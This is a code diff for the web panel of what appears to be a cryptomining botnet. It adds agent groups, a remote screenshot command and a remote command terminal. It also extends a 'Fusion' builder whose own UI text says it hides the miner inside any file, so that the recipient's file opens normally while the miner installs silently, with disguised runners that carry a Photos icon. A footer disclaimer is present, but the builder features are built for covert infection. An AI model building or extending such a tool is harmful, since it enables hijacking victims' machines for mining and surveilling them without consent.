||||||
|
);
|
||||||
|
},
|
||||||
|
[persist]
|
||||||
|
);
|
||||||
|
|
||||||
|
return { groups, addGroup, removeGroup, updateGroupAgents, refresh };
|
||||||
|
}
|
||||||
@@ -16,6 +16,11 @@ import {
|
|||||||
formatUptime,
|
formatUptime,
|
||||||
} from '../help/fleetFilters';
|
} from '../help/fleetFilters';
|
||||||
import type { FleetFilterState } from '../help/fleetFilters';
|
import type { FleetFilterState } from '../help/fleetFilters';
|
||||||
|
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
|
||||||
|
import { groupsForAgent } from '../help/fleetGroups';
|
||||||
|
import { useFleetGroups } from '../hooks/useFleetGroups';
|
||||||
|
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
|
||||||
|
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
|
||||||
import '../components/Fleet/FleetToolbar.css';
|
import '../components/Fleet/FleetToolbar.css';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
@@ -96,6 +101,34 @@ export default function AgentsPage() {
|
|||||||
const [metaMsg, setMetaMsg] = useState('');
|
const [metaMsg, setMetaMsg] = useState('');
|
||||||
const isConnectedRef = useRef(isConnected);
|
const isConnectedRef = useRef(isConnected);
|
||||||
isConnectedRef.current = isConnected;
|
isConnectedRef.current = isConnected;
|
||||||
|
const screenshotWatchId = useRef<string | null>(null);
|
||||||
|
const screenshotSeqRef = useRef(0);
|
||||||
|
const [showGroupModal, setShowGroupModal] = useState(false);
|
||||||
|
const { groups, addGroup, removeGroup } = useFleetGroups();
|
||||||
|
|
||||||
|
const onlineAgentIds = useMemo(
|
||||||
|
() => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
|
||||||
|
[agents]
|
||||||
|
);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!commandResults?.length || !screenshotWatchId.current) return;
|
||||||
|
const watch = screenshotWatchId.current;
|
||||||
|
for (const r of commandResults) {
|
||||||
|
if (r._seq <= screenshotSeqRef.current) continue;
|
||||||
|
if (r.agent_id !== watch || r.action !== 'screenshot') continue;
|
||||||
|
screenshotSeqRef.current = r._seq;
|
||||||
|
screenshotWatchId.current = null;
|
||||||
|
const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8);
|
||||||
|
if (r.success && r.message) {
|
||||||
|
const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label);
|
||||||
|
if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`);
|
||||||
|
} else {
|
||||||
|
alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}, [commandResults, agents]);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
let cancelled = false;
|
let cancelled = false;
|
||||||
@@ -280,6 +313,33 @@ export default function AgentsPage() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (action === 'screenshot') {
|
||||||
|
if (onlineIds.length !== 1) {
|
||||||
|
alert('Select exactly one online machine (checkbox) for screenshot.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const id = onlineIds[0];
|
||||||
|
const label = agents.find((a) => a.id === id)?.name ?? 'agent';
|
||||||
|
screenshotWatchId.current = id;
|
||||||
|
if (commandResults?.length) {
|
||||||
|
screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq;
|
||||||
|
}
|
||||||
|
setBulkBusy(true);
|
||||||
|
try {
|
||||||
|
const res = await api.sendAgentCommand(id, 'screenshot');
|
||||||
|
if (res.success === false) {
|
||||||
|
screenshotWatchId.current = null;
|
||||||
|
alert(res.error ?? 'Screenshot command rejected');
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
screenshotWatchId.current = null;
|
||||||
|
alert(err instanceof Error ? err.message : 'Screenshot failed');
|
||||||
|
} finally {
|
||||||
|
setBulkBusy(false);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
|
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
|
||||||
|
|
||||||
setBulkBusy(true);
|
setBulkBusy(true);
|
||||||
@@ -333,8 +393,17 @@ export default function AgentsPage() {
|
|||||||
filteredCount={filteredAgents.length}
|
filteredCount={filteredAgents.length}
|
||||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||||
onBulkAction={handleBulkAction}
|
onBulkAction={handleBulkAction}
|
||||||
|
onCreateGroup={() => setShowGroupModal(true)}
|
||||||
bulkBusy={bulkBusy}
|
bulkBusy={bulkBusy}
|
||||||
/>
|
/>
|
||||||
|
<FleetGroupsStrip
|
||||||
|
groups={groups}
|
||||||
|
liveAgentIds={onlineAgentIds}
|
||||||
|
selectedCount={selectedIds.size}
|
||||||
|
onSelectGroup={(g) => setSelectedIds(new Set(g.agentIds))}
|
||||||
|
onDeleteGroup={removeGroup}
|
||||||
|
onCreateGroup={() => setShowGroupModal(true)}
|
||||||
|
/>
|
||||||
<div className="agents-list">
|
<div className="agents-list">
|
||||||
{filteredAgents.map((agent) => (
|
{filteredAgents.map((agent) => (
|
||||||
<AgentListItem
|
<AgentListItem
|
||||||
@@ -348,6 +417,7 @@ export default function AgentsPage() {
|
|||||||
onSelect={() => void selectAgent(agent)}
|
onSelect={() => void selectAgent(agent)}
|
||||||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||||||
commandResults={commandResults}
|
commandResults={commandResults}
|
||||||
|
memberGroups={groupsForAgent(groups, agent.id)}
|
||||||
/>
|
/>
|
||||||
))}
|
))}
|
||||||
{filteredAgents.length === 0 && (
|
{filteredAgents.length === 0 && (
|
||||||
@@ -551,6 +621,16 @@ export default function AgentsPage() {
|
|||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
<CreateGroupModal
|
||||||
|
open={showGroupModal}
|
||||||
|
agentCount={selectedIds.size}
|
||||||
|
onClose={() => setShowGroupModal(false)}
|
||||||
|
onCreate={(name, color) => {
|
||||||
|
addGroup(name, color, [...selectedIds]);
|
||||||
|
setShowGroupModal(false);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
|
||||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||||
</footer>
|
</footer>
|
||||||
|
|||||||
@@ -426,14 +426,23 @@ export default function BuilderPage() {
|
|||||||
const applyFusionFileSelection = (f: File | null) => {
|
const applyFusionFileSelection = (f: File | null) => {
|
||||||
setFusionPrepFile(f);
|
setFusionPrepFile(f);
|
||||||
if (!f) return;
|
if (!f) return;
|
||||||
|
const isImage = /\.(png|jpe?g|gif|webp|bmp|ico|tiff?)$/i.test(f.name);
|
||||||
|
// Images in embedded mode often blow up compile size; paired ZIP is reliable for any size.
|
||||||
|
const preferPaired = isImage || f.size > 500 * 1024 * 1024;
|
||||||
setForm((prev) => {
|
setForm((prev) => {
|
||||||
if (!prev) return prev;
|
if (!prev) return prev;
|
||||||
return {
|
return normalizeForgeForm({
|
||||||
...prev,
|
...prev,
|
||||||
fusion_payload_kind: fusionPayloadKind(f),
|
fusion_payload_kind: fusionPayloadKind(f),
|
||||||
fusion_media_base_name: f.name,
|
fusion_media_base_name: f.name,
|
||||||
fusion_output_name: defaultRunnerName(f.name),
|
fusion_output_name: defaultRunnerName(f.name),
|
||||||
};
|
...(preferPaired && prev.fusion_media_mode === 'embedded'
|
||||||
|
? { fusion_media_mode: 'paired' as const }
|
||||||
|
: {}),
|
||||||
|
...(!prev.fusion_enabled
|
||||||
|
? { fusion_enabled: true, spread_kit: false, target_os: 'universal', target_arch: 'all' }
|
||||||
|
: {}),
|
||||||
|
});
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -1547,21 +1556,44 @@ export default function BuilderPage() {
|
|||||||
? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
|
? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
|
||||||
: 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
|
: 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
|
||||||
/>
|
/>
|
||||||
{deliverableType !== 'fusion' && (
|
|
||||||
<div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
|
<div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
|
||||||
<label className="checkbox-label">
|
<label className="checkbox-label">
|
||||||
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
className="checkbox"
|
||||||
|
checked={form.fusion_enabled}
|
||||||
disabled={fieldMeta.fusion_enabled?.disabled}
|
disabled={fieldMeta.fusion_enabled?.disabled}
|
||||||
onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
|
onChange={(e) => {
|
||||||
|
if (e.target.checked) {
|
||||||
|
setForm((prev) =>
|
||||||
|
prev
|
||||||
|
? normalizeForgeForm({
|
||||||
|
...prev,
|
||||||
|
fusion_enabled: true,
|
||||||
|
spread_kit: false,
|
||||||
|
target_os: 'universal',
|
||||||
|
target_arch: 'all',
|
||||||
|
})
|
||||||
|
: prev
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
setDeliverableType('single');
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
/>
|
||||||
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
|
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
|
||||||
</label>
|
</label>
|
||||||
<FieldHint field="fusion_enabled" />
|
<FieldHint field="fusion_enabled" />
|
||||||
<ForgeLockedHint meta={fieldMeta.fusion_enabled} />
|
<ForgeLockedHint meta={fieldMeta.fusion_enabled} />
|
||||||
|
{form.fusion_enabled && (
|
||||||
|
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
|
||||||
|
Uncheck <strong>Enable Fusion</strong> above to return to a plain single-platform worker build.
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
)}
|
{deliverableType === 'fusion' && form.fusion_enabled && (
|
||||||
{deliverableType === 'fusion' && (
|
|
||||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||||
Fusion selected — drop your files below and forge. Each file becomes its own universal ZIP (Windows + Mac + Linux) that can be sent to any machine.
|
Fusion deliverable — drop your file below and forge. Output is one universal ZIP (Windows + Mac + Linux).
|
||||||
</p>
|
</p>
|
||||||
)}
|
)}
|
||||||
{form.fusion_enabled && (
|
{form.fusion_enabled && (
|
||||||
@@ -1785,6 +1817,20 @@ export default function BuilderPage() {
|
|||||||
<p className="form-hint">
|
<p className="form-hint">
|
||||||
Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
|
Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
|
||||||
</p>
|
</p>
|
||||||
|
{fusionPrepFile && (
|
||||||
|
<div className="fusion-output-preview card" style={{ marginTop: '0.75rem', padding: '0.75rem 1rem', fontSize: '0.85rem' }}>
|
||||||
|
<p className="font-tech" style={{ marginBottom: '0.5rem', color: 'var(--neon-cyan)' }}>WHAT YOU GET — {fusionFileTypeLabel(fusionPrepFile.name).toUpperCase()}</p>
|
||||||
|
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem', lineHeight: 1.6 }}>
|
||||||
|
<li><strong>Windows:</strong> <code>Start.bat</code> or disguised runner (e.g. <code>{disguisedDisplayName(fusionPrepFile.name)}</code> with Photos icon) — opens the image in the default viewer, miner runs hidden.</li>
|
||||||
|
<li><strong>Linux:</strong> <code>start.sh</code> → <code>bin/linux-amd64/{fusionPrepFile.name.replace(/\.[^.]+$/, '')}-runner</code></li>
|
||||||
|
<li><strong>macOS:</strong> <code>Start.command</code> or <code>{fusionTitleFromFilename(fusionPrepFile.name)}.app</code> bundle</li>
|
||||||
|
{fusionMediaMode === 'paired' && (
|
||||||
|
<li><strong>ZIP also includes:</strong> your original <code>{fusionPrepFile.name}</code> at the root (paired mode).</li>
|
||||||
|
)}
|
||||||
|
<li>Download: <code>{fusionTitleFromFilename(fusionPrepFile.name)}-package.zip</code> under fusion-deliverables on the server.</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
{(estimateLoading || fusionEstimate || estimateError) && (
|
{(estimateLoading || fusionEstimate || estimateError) && (
|
||||||
<div className="fusion-estimate-panel card">
|
<div className="fusion-estimate-panel card">
|
||||||
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
|
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
|
||||||
|
|||||||
@@ -358,6 +358,16 @@
|
|||||||
|
|
||||||
.crucible-group-item:hover { background: rgba(178, 75, 243, 0.2); }
|
.crucible-group-item:hover { background: rgba(178, 75, 243, 0.2); }
|
||||||
|
|
||||||
|
.cn-group-pill {
|
||||||
|
margin-left: 0.4rem;
|
||||||
|
font-size: 0.65rem;
|
||||||
|
padding: 0.05rem 0.35rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid;
|
||||||
|
font-weight: 600;
|
||||||
|
vertical-align: middle;
|
||||||
|
}
|
||||||
|
|
||||||
.cg-name { flex: 1; color: var(--text-primary); font-weight: 500; }
|
.cg-name { flex: 1; color: var(--text-primary); font-weight: 500; }
|
||||||
.cg-count { color: var(--text-muted); font-size: 0.75rem; }
|
.cg-count { color: var(--text-muted); font-size: 0.75rem; }
|
||||||
.cg-del {
|
.cg-del {
|
||||||
|
|||||||
@@ -4,7 +4,12 @@ import { api } from '../api/client';
|
|||||||
import type { Agent, AgentService } from '../types';
|
import type { Agent, AgentService } from '../types';
|
||||||
import NeonCard from '../components/NeonCard/NeonCard';
|
import NeonCard from '../components/NeonCard/NeonCard';
|
||||||
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
||||||
|
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
|
||||||
|
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
|
||||||
import { formatHashrate } from '../help/fleetFilters';
|
import { formatHashrate } from '../help/fleetFilters';
|
||||||
|
import { primaryGroupForAgent } from '../help/fleetGroups';
|
||||||
|
import { useFleetGroups } from '../hooks/useFleetGroups';
|
||||||
|
import { useMatrixRain } from '../context/MatrixRainContext';
|
||||||
import './CruciblePage.css';
|
import './CruciblePage.css';
|
||||||
|
|
||||||
// ── Types ──────────────────────────────────────────────────────────────────
|
// ── Types ──────────────────────────────────────────────────────────────────
|
||||||
@@ -68,12 +73,6 @@ interface RichPostureSummary {
|
|||||||
|
|
||||||
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary;
|
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary;
|
||||||
|
|
||||||
interface NodeGroup {
|
|
||||||
id: string;
|
|
||||||
name: string;
|
|
||||||
agentIds: Set<string>;
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Helpers ────────────────────────────────────────────────────────────────
|
// ── Helpers ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
const AGENT_COLORS = [
|
const AGENT_COLORS = [
|
||||||
@@ -82,7 +81,8 @@ const AGENT_COLORS = [
|
|||||||
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
|
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
|
||||||
];
|
];
|
||||||
|
|
||||||
export function agentColor(agentId: string, allIds: string[]): string {
|
export function agentColor(agentId: string, allIds: string[], groupColor?: string): string {
|
||||||
|
if (groupColor) return groupColor;
|
||||||
const idx = allIds.indexOf(agentId);
|
const idx = allIds.indexOf(agentId);
|
||||||
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
|
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
|
||||||
}
|
}
|
||||||
@@ -286,11 +286,12 @@ const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONL
|
|||||||
|
|
||||||
export default function CruciblePage() {
|
export default function CruciblePage() {
|
||||||
const { agents, commandResults } = useWebSocket();
|
const { agents, commandResults } = useWebSocket();
|
||||||
|
const { setCrucibleFocus } = useMatrixRain();
|
||||||
|
|
||||||
// Selection
|
// Selection
|
||||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||||
const [groups, setGroups] = useState<NodeGroup[]>([]);
|
const [showGroupModal, setShowGroupModal] = useState(false);
|
||||||
const [groupNameInput, setGroupNameInput] = useState('');
|
const { groups, addGroup, removeGroup } = useFleetGroups();
|
||||||
|
|
||||||
// Terminal
|
// Terminal
|
||||||
const [termLines, setTermLines] = useState<TermLine[]>([]);
|
const [termLines, setTermLines] = useState<TermLine[]>([]);
|
||||||
@@ -317,6 +318,15 @@ export default function CruciblePage() {
|
|||||||
|
|
||||||
const online = (a: Agent) => a.status === 'online';
|
const online = (a: Agent) => a.status === 'online';
|
||||||
|
|
||||||
|
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
|
||||||
|
const crucibleTargetReady =
|
||||||
|
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
setCrucibleFocus(crucibleTargetReady);
|
||||||
|
return () => setCrucibleFocus(false);
|
||||||
|
}, [crucibleTargetReady, setCrucibleFocus]);
|
||||||
|
|
||||||
// Prune selectedIds when agents are removed (e.g. after roster delete).
|
// Prune selectedIds when agents are removed (e.g. after roster delete).
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const liveIds = new Set(agents.map((a) => a.id));
|
const liveIds = new Set(agents.map((a) => a.id));
|
||||||
@@ -427,17 +437,12 @@ export default function CruciblePage() {
|
|||||||
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
|
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
|
||||||
const clearSel = () => setSelectedIds(new Set());
|
const clearSel = () => setSelectedIds(new Set());
|
||||||
|
|
||||||
const addGroup = () => {
|
const onlineAgentIds = useMemo(
|
||||||
if (!groupNameInput.trim() || selectedIds.size === 0) return;
|
() => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
|
||||||
setGroups((prev) => [
|
[agents]
|
||||||
...prev,
|
);
|
||||||
{ id: mkId(), name: groupNameInput.trim(), agentIds: new Set(selectedIds) },
|
|
||||||
]);
|
|
||||||
setGroupNameInput('');
|
|
||||||
};
|
|
||||||
|
|
||||||
const activateGroup = (g: NodeGroup) => setSelectedIds(new Set(g.agentIds));
|
const activateGroup = (g: { agentIds: string[] }) => setSelectedIds(new Set(g.agentIds));
|
||||||
const deleteGroup = (id: string) => setGroups((prev) => prev.filter((g) => g.id !== id));
|
|
||||||
|
|
||||||
// ── Dispatch command ───────────────────────────────────────────────────
|
// ── Dispatch command ───────────────────────────────────────────────────
|
||||||
|
|
||||||
@@ -464,8 +469,24 @@ export default function CruciblePage() {
|
|||||||
: 'exec';
|
: 'exec';
|
||||||
|
|
||||||
await Promise.all(
|
await Promise.all(
|
||||||
tgts.map((a) =>
|
tgts.map(async (a) => {
|
||||||
api.sendAgentCommand(a.id, action, { command }).catch((err) => {
|
try {
|
||||||
|
const res = await api.sendAgentCommand(a.id, action, { command });
|
||||||
|
if (res.success === false) {
|
||||||
|
setTermLines((prev) => [
|
||||||
|
...prev,
|
||||||
|
{
|
||||||
|
id: mkId(),
|
||||||
|
agentId: a.id,
|
||||||
|
agentName: a.name,
|
||||||
|
isCmd: false,
|
||||||
|
text: `[ERROR] ${res.error ?? 'command rejected'}`,
|
||||||
|
ts: new Date(),
|
||||||
|
success: false,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
setTermLines((prev) => [
|
setTermLines((prev) => [
|
||||||
...prev,
|
...prev,
|
||||||
{
|
{
|
||||||
@@ -478,8 +499,8 @@ export default function CruciblePage() {
|
|||||||
success: false,
|
success: false,
|
||||||
},
|
},
|
||||||
]);
|
]);
|
||||||
})
|
}
|
||||||
)
|
})
|
||||||
);
|
);
|
||||||
setBusy(false);
|
setBusy(false);
|
||||||
cmdRef.current?.focus();
|
cmdRef.current?.focus();
|
||||||
@@ -745,9 +766,23 @@ export default function CruciblePage() {
|
|||||||
</div>
|
</div>
|
||||||
<button className="button crucible-btn" onClick={selectAll}>Select Online</button>
|
<button className="button crucible-btn" onClick={selectAll}>Select Online</button>
|
||||||
<button className="button crucible-btn-muted" onClick={clearSel}>Clear</button>
|
<button className="button crucible-btn-muted" onClick={clearSel}>Clear</button>
|
||||||
|
{selectedIds.size > 0 && (
|
||||||
|
<button className="button crucible-btn" onClick={() => setShowGroupModal(true)}>
|
||||||
|
Create group…
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
</header>
|
</header>
|
||||||
|
|
||||||
|
<FleetGroupsStrip
|
||||||
|
groups={groups}
|
||||||
|
liveAgentIds={onlineAgentIds}
|
||||||
|
selectedCount={selectedIds.size}
|
||||||
|
onSelectGroup={activateGroup}
|
||||||
|
onDeleteGroup={removeGroup}
|
||||||
|
onCreateGroup={() => setShowGroupModal(true)}
|
||||||
|
/>
|
||||||
|
|
||||||
{/* ── Node Roster ─────────────────────────────────────────────────── */}
|
{/* ── Node Roster ─────────────────────────────────────────────────── */}
|
||||||
<NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
|
<NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
|
||||||
<div className="crucible-section-title font-tech">
|
<div className="crucible-section-title font-tech">
|
||||||
@@ -762,12 +797,16 @@ export default function CruciblePage() {
|
|||||||
const isOn = online(a);
|
const isOn = online(a);
|
||||||
const ssh = sshStatus(a);
|
const ssh = sshStatus(a);
|
||||||
const posture = postureStatus(a);
|
const posture = postureStatus(a);
|
||||||
const color = agentColor(a.id, allIds);
|
const pg = primaryGroupForAgent(groups, a.id);
|
||||||
|
const color = agentColor(a.id, allIds, pg?.color);
|
||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
key={a.id}
|
key={a.id}
|
||||||
className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
|
className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
|
||||||
style={sel ? { '--sel-color': color } as React.CSSProperties : undefined}
|
style={{
|
||||||
|
...(sel ? { '--sel-color': color } : {}),
|
||||||
|
...(pg ? { borderLeft: `3px solid ${pg.color}` } : {}),
|
||||||
|
} as React.CSSProperties}
|
||||||
onClick={() => toggle(a.id)}
|
onClick={() => toggle(a.id)}
|
||||||
>
|
>
|
||||||
<div className="crucible-node-check">
|
<div className="crucible-node-check">
|
||||||
@@ -775,9 +814,14 @@ export default function CruciblePage() {
|
|||||||
style={sel ? { borderColor: color, background: color + '33' } : undefined} />
|
style={sel ? { borderColor: color, background: color + '33' } : undefined} />
|
||||||
</div>
|
</div>
|
||||||
<div className="crucible-node-body">
|
<div className="crucible-node-body">
|
||||||
<div className="cn-name" style={sel ? { color } : undefined}>
|
<div className="cn-name" style={sel || pg ? { color: pg?.color ?? color } : undefined}>
|
||||||
<span className="cn-platform">{platformIcon(a.platform)}</span>
|
<span className="cn-platform">{platformIcon(a.platform)}</span>
|
||||||
{a.name}
|
{a.name}
|
||||||
|
{pg && (
|
||||||
|
<span className="cn-group-pill" style={{ color: pg.color, borderColor: `${pg.color}66` }}>
|
||||||
|
{pg.name}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
<div className="cn-meta">
|
<div className="cn-meta">
|
||||||
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
|
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
|
||||||
@@ -921,32 +965,43 @@ export default function CruciblePage() {
|
|||||||
<div className="crucible-section-title font-tech">
|
<div className="crucible-section-title font-tech">
|
||||||
<span className="section-ornament">◆</span> GROUPS
|
<span className="section-ornament">◆</span> GROUPS
|
||||||
</div>
|
</div>
|
||||||
<div className="crucible-groups-list">
|
<p className="form-hint" style={{ margin: '0 0 0.5rem' }}>
|
||||||
{groups.length === 0 && (
|
Same groups as Fleet Roster — click a chip to select all members.
|
||||||
<p className="form-hint" style={{ margin: 0 }}>
|
</p>
|
||||||
Select nodes above, name a group, save it here.
|
{groups.length === 0 ? (
|
||||||
</p>
|
<p className="form-hint" style={{ margin: 0 }}>
|
||||||
)}
|
Select nodes, then <strong>Create group…</strong> to name and color them.
|
||||||
{groups.map((g) => (
|
</p>
|
||||||
<div key={g.id} className="crucible-group-item" onClick={() => activateGroup(g)}>
|
) : (
|
||||||
<span className="cg-name">{g.name}</span>
|
<div className="crucible-groups-list">
|
||||||
<span className="cg-count">{g.agentIds.size} nodes</span>
|
{groups.map((g) => (
|
||||||
<button className="cg-del" onClick={(e) => { e.stopPropagation(); deleteGroup(g.id); }}>×</button>
|
<div
|
||||||
</div>
|
key={g.id}
|
||||||
))}
|
className="crucible-group-item"
|
||||||
</div>
|
style={{
|
||||||
<div className="crucible-group-new">
|
borderColor: `${g.color}55`,
|
||||||
<input
|
background: `${g.color}14`,
|
||||||
className="crucible-input"
|
}}
|
||||||
value={groupNameInput}
|
onClick={() => activateGroup(g)}
|
||||||
onChange={(e) => setGroupNameInput(e.target.value)}
|
>
|
||||||
onKeyDown={(e) => e.key === 'Enter' && addGroup()}
|
<span className="fleet-group-chip-dot" style={{ background: g.color }} />
|
||||||
placeholder={`Name group (${selectedIds.size} selected)…`}
|
<span className="cg-name" style={{ color: g.color }}>{g.name}</span>
|
||||||
/>
|
<span className="cg-count">{g.agentIds.length} nodes</span>
|
||||||
<button className="button crucible-btn" onClick={addGroup} disabled={!groupNameInput.trim() || selectedIds.size === 0}>
|
<button className="cg-del" onClick={(e) => { e.stopPropagation(); removeGroup(g.id); }}>×</button>
|
||||||
Save
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{selectedIds.size > 0 && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="button crucible-btn"
|
||||||
|
style={{ marginTop: '0.75rem' }}
|
||||||
|
onClick={() => setShowGroupModal(true)}
|
||||||
|
>
|
||||||
|
Create group from selection ({selectedIds.size})
|
||||||
</button>
|
</button>
|
||||||
</div>
|
)}
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
|
|
||||||
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
|
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
|
||||||
@@ -1186,6 +1241,16 @@ export default function CruciblePage() {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
|
|
||||||
|
<CreateGroupModal
|
||||||
|
open={showGroupModal}
|
||||||
|
agentCount={selectedIds.size}
|
||||||
|
onClose={() => setShowGroupModal(false)}
|
||||||
|
onCreate={(name, color) => {
|
||||||
|
addGroup(name, color, [...selectedIds]);
|
||||||
|
setShowGroupModal(false);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ export default defineConfig({
|
|||||||
['src/pages/**', 'happy-dom'],
|
['src/pages/**', 'happy-dom'],
|
||||||
['src/components/**', 'happy-dom'],
|
['src/components/**', 'happy-dom'],
|
||||||
['src/App.test.tsx', 'happy-dom'],
|
['src/App.test.tsx', 'happy-dom'],
|
||||||
|
['src/help/fleetGroups.test.ts', 'happy-dom'],
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
});
|
});
|
||||||
|
|||||||
Reference in New Issue
Block a user